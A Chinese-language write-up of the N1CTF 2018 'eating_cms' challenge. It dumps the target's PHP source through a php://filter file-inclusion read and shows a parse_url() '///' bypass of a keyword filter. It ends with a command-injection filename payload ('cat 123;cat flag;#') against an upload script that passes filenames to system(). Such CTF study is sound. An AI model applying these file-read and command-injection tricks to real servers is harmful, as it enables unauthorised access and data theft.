刷题笔记:[N1CTF 2018]eating_cms

前言

关键字:[system注释|system执行漏洞|php system]

题解

有个/register.php可以注册用户

user.php?page=guest，第一反应先试试伪协议

guest.php

PD9waHAKaWYgKEZMQUdfU0lHICE9IDEpewogICAgZGllKCJ5b3UgY2FuIG5vdCB2aXNpdCBpdCBkaXJlY3RseSAiKTsKfQppbmNsdWRlICJ0ZW1wbGF0ZXMvZ3Vlc3QuaHRtbCI7Cj8+Cgo=

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly ");
}
include "templates/guest.html";
?>

user.php

<?php
require_once("function.php");
if (!isset($_SESSION['user'])) {
    Header("Location: index.php");
}
if ($_SESSION['isadmin'] === '1') {
    $oper_you_can_do = $OPERATE_admin;
} else {
    $oper_you_can_do = $OPERATE;
}
//die($_SESSION['isadmin']);
if ($_SESSION['isadmin'] === '1') {
    if (!isset($_GET['page']) || $_GET['page'] === '') {
        $page = 'info';
    } else {
        $page = $_GET['page'];
    }
} else {
    if (!isset($_GET['page']) || $_GET['page'] === '') {
        $page = 'guest';
    } else {
        $page = $_GET['page'];
        if ($page === 'info') {
            //            echo("<script>alert('no premission to visit info, only admin can, you are guest')</script>");
            Header("Location: user.php?page=guest");
        }
    }
}
filter_directory();
//if(!in_array($page,$oper_you_can_do)){
//    $page = 'info';
//}
include "$page.php";

function.php

<?php
session_start();
require_once "config.php";
function Hacker()
{
    Header("Location: hacker.php");
    die();
}


function filter_directory()
{
    $keywords = ["flag","manage","ffffllllaaaaggg"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function filter_directory_guest()
{
    $keywords = ["flag","manage","ffffllllaaaaggg","info"];
    $uri = parse_url($_SERVER["REQUEST_URI"]);
    parse_str($uri['query'], $query);
//    var_dump($query);
//    die();
    foreach($keywords as $token)
    {
        foreach($query as $k => $v)
        {
            if (stristr($k, $token))
                hacker();
            if (stristr($v, $token))
                hacker();
        }
    }
}

function Filter($string)
{
    global $mysqli;
    $blacklist = "information|benchmark|order|limit|join|file|into|execute|column|extractvalue|floor|update|insert|delete|username|password";
    $whitelist = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'(),_*`-@=+><";
    for ($i = 0; $i < strlen($string); $i++) {
        if (strpos("$whitelist", $string[$i]) === false) {
            Hacker();
        }
    }
    if (preg_match("/$blacklist/is", $string)) {
        Hacker();
    }
    if (is_string($string)) {
        return $mysqli->real_escape_string($string);
    } else {
        return "";
    }
}

function sql_query($sql_query)
{
    global $mysqli;
    $res = $mysqli->query($sql_query);
    return $res;
}

function login($user, $pass)
{
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "select * from `albert_users` where `username_which_you_do_not_know`= '$user' and `password_which_you_do_not_know_too` = '$pass'";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
    if ($res->num_rows) {
        $data = $res->fetch_array();
        $_SESSION['user'] = $data[username_which_you_do_not_know];
        $_SESSION['login'] = 1;
        $_SESSION['isadmin'] = $data[isadmin_which_you_do_not_know_too_too];
        return true;
    } else {
        return false;
    }
    return;
}

function updateadmin($level,$user)
{
    $sql = "update `albert_users` set `isadmin_which_you_do_not_know_too_too` = '$level' where `username_which_you_do_not_know`='$user' ";
    echo $sql;
    $res = sql_query($sql);
//    var_dump($res);
//    die();
//    die($res);
    if ($res == 1) {
        return true;
    } else {
        return false;
    }
    return;
}

function register($user, $pass)
{
    global $mysqli;
    $user = Filter($user);
    $pass = md5($pass);
    $sql = "insert into `albert_users`(`username_which_you_do_not_know`,`password_which_you_do_not_know_too`,`isadmin_which_you_do_not_know_too_too`) VALUES ('$user','$pass','0')";
    $res = sql_query($sql);
    return $mysqli->insert_id;
}

function logout()
{
    session_destroy();
    Header("Location: index.php");
}

config.php

<?php
error_reporting(E_ERROR | E_WARNING | E_PARSE);
define(BASEDIR, "/var/www/html/");
define(FLAG_SIG, 1);
$OPERATE = array('userinfo','upload','search');
$OPERATE_admin = array('userinfo','upload','search','manage');
$DBHOST = "localhost";
$DBUSER = "root";
$DBPASS = "Nu1LCTF2018!@#qwe";
//$DBPASS = "";
$DBNAME = "N1CTF";
$mysqli = @new mysqli($DBHOST, $DBUSER, $DBPASS, $DBNAME);
if(mysqli_connect_errno()){
        echo "no sql connection".mysqli_connect_error();
        $mysqli=null;
        die();
}

updateadmin.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly ");
}
include "templates/update.html";
?>

这里有parse_url()，可以尝试php的解析漏洞

parse_url()解析漏洞

<?php
$uri = parse_url($_SERVER["REQUEST_URI"]);
var_dump($uri);

• http://127.0.0.1/1.php?a=123

  

• http://127.0.0.1//1.php?a=123

  

• http://127.0.0.1///1.php?a=123

  

这里用两个//也行，不知道是不是版本问题。

读取ffffllllaaaaggg.php

//user.php?page=php://filter/convert.base64-encode/resource=ffffllllaaaaggg

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}else {
    echo "you can find sth in m4aaannngggeee";
}
?>

m4aaannngggeee.php

<?php
if (FLAG_SIG != 1){
    die("you can not visit it directly");
}
include "templates/upload.html";

?>

打开/templates/upload.html

templates里怎么会有php文件呢？

尝试读取upllloadddd.php

<?php
$allowtype = array("gif", "png", "jpg");
$size = 10000000;
$path = "./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/";
$filename = $_FILES['file']['name'];
if (is_uploaded_file($_FILES['file']['tmp_name'])) {
    if (!move_uploaded_file($_FILES['file']['tmp_name'], $path . $filename)) {
        die("error:can not move");
    }
} else {
    die("error:not an upload file！");
}
$newfile = $path . $filename;
echo "file upload success<br />";
echo $filename;
$picdata = system("cat ./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/" . $filename . " | base64 -w 0");
echo "<img src='data:image/png;base64," . $picdata . "'></img>";
if ($_FILES['file']['error'] > 0) {
    unlink($newfile);
    die("Upload file error: ");
}
$ext = array_pop(explode(".", $_FILES['file']['name']));
if (!in_array($ext, $allowtype)) {
    unlink($newfile);
}

字符串拼接而成的shell命令，明显存在代码执行漏洞。

system("cat 123;cat flag;# |base 64 -w 0")

但上传点不在这，竟然在/user.php?page=m4aaannngggeee

ls /不行，不知道为什么。看了下代码也没过滤呀。